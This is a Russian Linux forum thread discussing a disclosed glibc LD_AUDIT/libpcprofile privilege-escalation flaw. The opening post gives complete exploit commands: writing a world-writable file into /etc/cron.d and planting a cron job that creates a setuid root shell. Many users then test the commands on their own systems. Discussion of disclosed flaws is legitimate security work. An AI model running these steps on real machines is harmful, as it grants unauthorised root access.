LINUX.ORG.RU
ФорумTalks

[дуршлаг]еще одна дыра в glibc


0

2

http://www.opennet.ru/opennews/art.shtml?num=28390

Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости , сообщается о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно собщается , что проблеме не подвержена glibc из состава OpenWall и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч «sanitize-env».

Ъ

Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")

   $ umask 0

Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:

   $ dpkg -S /lib/libpcprofile.so
   libc6: /lib/libpcprofile.so

   $ ls -l /lib/libpcprofile.so
   -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:

   $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

   ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

   $ ls -l /etc/cron.d/exploit
   -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:

   $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

Через пару минут наблюдаем:

   $ ls -l /tmp/exploit
   ls: cannot access /tmp/exploit: No such file or directory
   ...
   $ ls -l /tmp/exploit
   -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

   $ /tmp/exploit
   # whoami
   root

Manhunt ★★★★★ ()

интересно, сколько еще у taviso козырных тузов в рукаве?

Sylvia ★★★★★ ()

В HLFS оно точно так же бы не работало. Может, в Hardened Gentoo - тоже. Ну и как всегда нет описания для uClibc.

wyldrodney ()

Упс. Опять неожиданность.

iZEN ★★★★★ ()

радует то, что их обнаруживают.

unikum ★★★★★ ()

Решето!

Ну что за дела, уже второй подряд эксплоит не работает (((

qnikst@qnikst ~/tmp/exp $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

qnikst@qnikst ~/tmp/exp $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="~/tmp/exp/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

qnikst ★★★★★ ()

Еще парочка таких новостей про ГЛИБЦ, и пойду покупать Касперского.

valich ★★★ ()
Ответ на: Решето! от qnikst

Re: Решето!

>Ну что за дела, уже второй подряд эксплоит не работает (((

Ошибки и должны вылезать. Ты скажи, файлы в /etc/cron.d/ появились или нет?

AX ★★★★★ ()
Ответ на: Решето! от qnikst

Читать-то умеешь?

ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

thesame ★★★★ ()

Жесть. Интересно есть ли эта уязвимость на MeeGO/Maemo. Google всё таки не дурак, раз написал свою libc из кусков BSD libc

Ygor ★★★★★ ()

Тваюналево…

% LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/test" ping         
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-m mark] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[~/tmp/1] % ls -l /etc/test
-rw-rw-rw- 1 root <…> 4 Окт 23 12:10 /etc/test
AX ★★★★★ ()

Ну что съели!

В генте не работает!
Oct 23 12:16:01 notebook cron[2933]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

xorik ★★★★★ ()
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/testo" ping
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
$ ls -l /etc/testo
ls: cannot access /etc/testo: No such file or directory

Ubuntu 10.04

narayan ()
Ответ на: комментарий от thesame

файл создался, строку туда прописал, но крон его не обработал, хотя включен. не знаю даже, что ещё я не так делаю

qnikst ★★★★★ ()
Ответ на: комментарий от Manhunt

все проделал согласно рецепту на Debian testing Amd64,
прошло 10 минут «а Германа все нет»:

Через пару минут наблюдаем:


$ ls -l /tmp/exploit
ls: невозможно получить доступ к /tmp/exploit: Нет такого файла или каталога
------------

бракоделы и двоешники ?))

даже дыру пробурить в системе не могут как следует.

elipse ★★★ ()
Ответ на: комментарий от qnikst

[code] Oct 23 12:16:33 qnikst cron[7845]: (CRON) STARTUP (V5.0) Oct 23 12:16:33 qnikst cron[7845]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)[/code]

намекает, что в генте не работает

P.S. хотя создание файлов в любом каталоге это не верно.

qnikst ★★★★★ ()
Ответ на: комментарий от Manhunt

$ ls -l /etc/cron.d/exploit

-rw-r--r-- 1 root users 65 2010-10-23 12:22 /etc/cron.d/exploit

а если так?

samy_volosaty ★★★★★ ()

В убунте уже есть обновлённая версия glibc.

d1337r ()

Создаётся без +x, fcron его не запускает.

x3al ★★★★★ ()
Ответ на: комментарий от Freiheits-Sender

Да люди пишут, такие же как мы с вами. Но! Ответственно походят.

Enoch ()

А на Debian Lenny даже файл не создаётся...

Yareg ★★★ ()
Ответ на: комментарий от Yareg

> На локалхосте под OpenSUSE 11.3 тоже ничего не работает... ЧЯДНТ?

Вы хоть этим дырописателям не помогайте статистику собирать. Наверняка тред читают, и думают, как бы и сусю достать.

valich ★★★ ()

В арче не пашет


[werehuman@lithium ~] $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-m mark] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[werehuman@lithium ~] $ ls -l /etc/cron.d/exploit 
-rw-r--r-- 1 root werehuman 4 Окт 23 16:35 /etc/cron.d/exploit
[werehuman@lithium ~] $ uname -a
Linux lithium 2.6.35-ARCH #1 SMP PREEMPT Wed Sep 29 08:45:18 CEST 2010 x86_64 Intel(R) Pentium(R) Dual CPU T3200 @ 2.00GHz GenuineIntel GNU/Linux
Werehuman ★★ ()
Ответ на: комментарий от valich

Раньше достанут — быстрее пофиксят. К тому же, аккаунта на моём локалхосте ни у кого, кроме меня, нет. А на серверах я только в качестве юзера, поэтому и сам бы не против себе права до рута повысить (для лулзов).

Yareg ★★★ ()
Ответ на: комментарий от narayan

> на слаке не работает

в генту не работает

No such file or directory Ubuntu 10.04



Вот поэтому вирусам под линукс - нет пути.

queen3 ★★★★★ ()
Ответ на: комментарий от Sylvia

$LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/etc/cron.d/exploit» ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

...
$cd /etc/cron.d
/etc/cron.d :$ls -l
-rw-rw-rw- 1 root sylvia 4 Oct 23 17:36 exploit


на eglibc 2.11.2 на ура работает...

Sylvia ★★★★★ ()

В общем, на funtoo:
1. Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.

2. Поправил права сам, cron отработал (/bin/bash в /tmp/exploit):
-rwsr-xr-x 1 root root 893208 Окт 23 17:26 /tmp/exploit

3. $ /tmp/exploit
exploit-4.1$
exploit-4.1$ whoami
user

Ну не срабатывает setuid (:

vvn_black ★★★★★ ()
Ответ на: комментарий от vvn_black

это не спасает, крон дан как пример, можно изыскать другие способы и записать в другой файлик, в недырявой glibc не должен он вообще создаваться )

Sylvia ★★★★★ ()
Ответ на: комментарий от Sylvia

Да бог с ним, создаётся то он создаётся, но как и в предыдущих реализациях этой дырки эксплоит выполняется не от рута, а от пользователя несмотря на setuid.

vvn_black ★★★★★ ()

Арч настолько нестабилен, что в нём даже эксплоиты не работают! Пионерский дистрибутив, фу!

KevinDetry ()
Ответ на: комментарий от Sylvia

был дырк, и нету больше дырка )

/tmp :$LD_AUDIT=«libpcprofile.so» PCPROFILE_OUTPUT=«/tmp/exploit» ping
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface]
[-M pmtudisc-hint] [-m mark] [-S sndbuf]
[-T tstamp-options] [-Q tos] [hop1 ...] destination
/tmp :$ls -l exploit
ls: cannot access exploit: No such file or directory
/tmp :$

Sylvia ★★★★★ ()
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> ls -l /etc/cron.d/exploit 
-rw-rw-rw- 1 root gotf 4 2010-10-23 20:24 /etc/cron.d/exploit
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> printf "* * * * * root cp /bin/bash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> ls -l /tmp/exploit
-rwsr-xr-x 1 root root 797784 2010-10-23 20:25 /tmp/exploit
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> /tmp/exploit 
┌┤~├──────────────────────────────────────────────────────────┤gotf@persephone├─
└─> whoami 
gotf

Не сработало, что поделать...

GotF ★★★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.